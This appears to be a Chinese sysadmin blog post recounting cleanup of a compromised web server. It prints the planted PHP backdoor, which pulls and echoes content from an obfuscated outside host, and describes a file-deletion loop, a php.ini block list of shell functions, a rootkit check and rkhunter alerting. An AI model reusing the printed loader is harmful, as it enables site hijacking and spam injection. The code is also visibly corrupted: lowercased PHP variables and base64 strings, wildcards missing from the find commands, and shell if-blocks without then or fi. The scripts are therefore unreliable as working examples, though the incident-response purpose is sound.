天天看點

記一台web伺服器被***處理過程

某天收到電信網監的郵件通知,内容是我們一個網站被***,有個連結顯示“×××”資訊。指令立即修複。

解決過程:

1、檢視伺服器,發現伺服器根目錄下多出show1.php,show2,php.info.php三個檔案,内容相同。内容如下:

<?php

set_time_limit(0);

$url1 = $_server['php_self'];

$name= substr($url1 ,strrpos($url1 ,'/')+1 );

chmod($name,0444);

header("content-type: text/html;charset=gb2312");

date_default_timezone_set('prc');

$a = base64_decode("ahr0cdovl2jhb2x1by5zagfuemhpnjy2lmnulw==");

$b = base64_decode("ahr0cdovlw==") . $_server['http_host'] . $_server['php_self'];

$c = file_get_contents($a . base64_decode("l2luzgv4lnbocd9ob3n0pq==") . $b . "&url=" . $_server['query_string'] . "&domain=" . $_server['server_name']);

echo $c;

?>

根據開發人員的分析,結果是:×××會通過傳參的方式,顯示想要的内容。

2、把檔案移動到/opt/hacker目錄下。

3、把ningx中不必要的配置資訊注釋掉,重新開機。

4、在pf上注釋不必要的端口開發。重新開機pf

5、注釋haproxy不必要的服務。

6、編寫sh腳本,監控web root目錄/data/www/wdl目錄下,所有新增檔案,都删除。排除幾個目錄:

#!/bin/bash

while true

do

find /data/www/wdl/ -maxdepth 1 -mtime -1 -name "">>/opt/webmon.log

find /data/www/wdl/ -maxdepth 1 -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/module_api/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/module_api/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/image/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/image/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/static/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/static/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/lang/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/lang/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/api/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/api/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/includes/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/includes/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/pay/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/pay/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/script/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/script/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/uc_client/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/uc_client/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/module/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/module/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/lib/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/lib/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/log/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/log/ -mtime -1 -name "."|xargs rm -f

find /data/www/wdl/dlq9j15dshw5f/ -mtime -1 -name ".">>/opt/webmon.log

find /data/www/wdl/dlq9j15dshw5f/ -mtime -1 -name ".*"|xargs rm -f

sleep 10

done

7、調整php.ini的disable_functions:

disable_functions = touch,chmod,pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, eval, popen, passthru, exec, system, shell_exec, proc_open, proc_get_status, chroot, chgrp, chown, ini_alter, ini_restore, dl, pfsockopen, openlog, syslog, readlink, symlink, popepassthru, stream_socket_server, fsocket, chdir

8、檢視ps中的程序和proc進比較:

str_pids="<code>ps -a | awk '{print $1}'</code>"

for i in /proc/[[:digit:]]*; do

if echo "$str_pids" | grep -qs <code>basename "$i"</code>; then :else echo "rootkit's pid: $(basename "$i")" fi done

沒有發現異常。

9、下載下傳rkhunter工具檢查系統健康

發現很多系統指令和配置檔案都被修改了。幸虧有一台web伺服器沒有挂載線上上,目前還是可以用的。是以,把被***的伺服器都下線,沒有線上上的伺服器克隆了兩台生成新web伺服器,目前隻有一台線上上服務。

10、編寫腳本,實時監控rkhunter工具監控結果。

rkhunter -c -sk --nocolor &gt;/opt/check.log

if [ <code>cat check.log |grep ifconfig|awk '{print $3}'</code> == 'ok' ]

then

echo good

else

/usr/bin/python /opt/sendsms.py 'dangerous for rkhhunter'

echo 'dangerous for rkhunter'&gt;&gt;/var/log/messages

fi

if [ ! -s webmon.log ]

/usr/bin/python /opt/sendsms.py 'dangerous for webmon.log'

echo 'dangerous for webmon.log'&gt;&gt;/var/log/messages

sleep 200

目标是:發現問題後,立刻短信報警。sendsms.py是我寫的短信報警腳本。

繼續閱讀